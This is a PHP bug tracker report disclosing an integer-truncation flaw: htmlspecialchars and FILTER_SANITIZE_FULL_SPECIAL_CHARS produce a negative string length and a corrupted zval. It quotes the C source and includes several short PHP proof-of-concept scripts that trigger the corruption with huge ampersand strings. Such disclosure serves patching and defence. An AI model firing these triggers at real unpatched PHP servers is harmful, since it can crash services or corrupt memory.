|
|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-05-01 18:47 UTC] taoguangchen at icloud dot com
Description:
------------
```
static void php_html_entities(INTERNAL_FUNCTION_PARAMETERS, int all)
{
...
size_t new_len;
...
RETVAL_STRINGL(replaced, (int)new_len, 0);
}
```
The new_len is defined as size_t, then to be a signed int in RETVAL_STRINGL(), that results in new_len into a negative value and get a corrupted string-typed ZVAL.
PoC1:
```
<?php
ini_set('memory_limit', -1);
$str = htmlspecialchars(str_repeat('&', 0xffffffff/5));
var_dump(strlen($str));
?>
```
PoC2:
```
<?php
ini_set('memory_limit', -1);
$str = htmlspecialchars(str_repeat('&', 0xffffffff/5));
md5($str);
?>
```
Fix:
Checking new_len
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2024 The PHP GroupAll rights reserved. |
Last updated: Thu Nov 21 12:01:29 2024 UTC |
Another example: ``` ZEND_API int add_string_to_string(zval *result, const zval *op1, const zval *op2) /* {{{ */ { int length = Z_STRLEN_P(op1) + Z_STRLEN_P(op2); char *buf; if (IS_INTERNED(Z_STRVAL_P(op1))) { buf = (char *) emalloc(length+1); memcpy(buf, Z_STRVAL_P(op1), Z_STRLEN_P(op1)); } else { buf = (char *) erealloc(Z_STRVAL_P(op1), length+1); } memcpy(buf + Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2)); ``` PoC ``` <?php ini_set('memory_limit', -1); $str = htmlspecialchars(str_repeat('&', 0xffffffff/5)); "$str"; ?> ```The similar bug in filter: ``` void php_filter_full_special_chars(PHP_INPUT_FILTER_PARAM_DECL) { char *buf; size_t len; ... buf = php_escape_html_entities_ex(Z_STRVAL_P(value), Z_STRLEN_P(value), &len, 1, quotes, SG(default_charset), 0 TSRMLS_CC); str_efree(Z_STRVAL_P(value)); Z_STRVAL_P(value) = buf; Z_STRLEN_P(value) = len; } ``` PoC: ``` <?php ini_set('memory_limit', -1); $var = str_repeat('&', 0xffffffff/5); $var = filter_var($var, FILTER_SANITIZE_FULL_SPECIAL_CHARS); echo "$var"; ?> ``` You need to check all codes that call to php_escape_html_entities_ex/php_escape_html_entities.